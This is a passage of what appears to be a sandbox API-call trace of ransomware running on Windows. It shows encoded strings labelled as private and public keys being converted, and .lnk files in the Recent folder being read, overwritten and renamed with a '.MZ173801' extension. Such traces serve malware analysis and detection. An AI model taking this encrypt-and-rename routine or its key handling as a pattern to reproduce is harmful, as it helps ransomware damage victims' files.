lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0150.870] GetCurrentThreadId () returned 0xab4 [0150.870] GetCurrentThreadId () returned 0xab4 [0150.870] GetCurrentThreadId () returned 0xab4 [0150.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0150.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0150.871] GetCurrentThreadId () returned 0xab4 [0150.871] GetCurrentThreadId () returned 0xab4 [0150.871] GetCurrentThreadId () returned 0xab4 [0150.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeFUq.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oefuq.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.871] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0150.871] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.871] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x404 [0150.872] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.872] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x404, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x404, lpOverlapped=0x0) returned 1 [0150.872] CloseHandle (hObject=0x280) returned 1 [0150.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeFUq.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oefuq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.874] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x404, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x404, lpOverlapped=0x0) returned 1 [0150.969] CloseHandle (hObject=0x280) returned 1 [0150.975] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeFUq.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oefuq.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeFUq.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oefuq.lnk.mz173801")) returned 1 [0150.976] GetCurrentThreadId () returned 0xab4 [0150.976] GetCurrentThreadId () returned 0xab4 [0150.976] GetCurrentThreadId () returned 0xab4 [0150.976] GetCurrentThreadId () returned 0xab4 [0150.976] GetCurrentThreadId () returned 0xab4 [0150.976] GetCurrentThreadId () returned 0xab4 [0150.976] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484c2958, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x484c2958, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x484c2958, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oeJFddiIwMX1RoB4tjS.lnk", cAlternateFileName="OEJFDD~1.LNK")) returned 1 [0150.976] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0150.976] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0150.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeJFddiIwMX1RoB4tjS.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oejfddiiwmx1rob4tjs.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484c2958, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x484c2958, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x484c2958, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1 [0150.976] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeJFddiIwMX1RoB4tjS.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oejfddiiwmx1rob4tjs.lnk")) returned 0x20 [0150.977] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeJFddiIwMX1RoB4tjS.lnk", dwFileAttributes=0x80) returned 1 [0150.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0150.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0150.980] GetCurrentThreadId () returned 0xab4 [0150.980] GetCurrentThreadId () returned 0xab4 [0150.980] GetCurrentThreadId () returned 0xab4 [0150.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 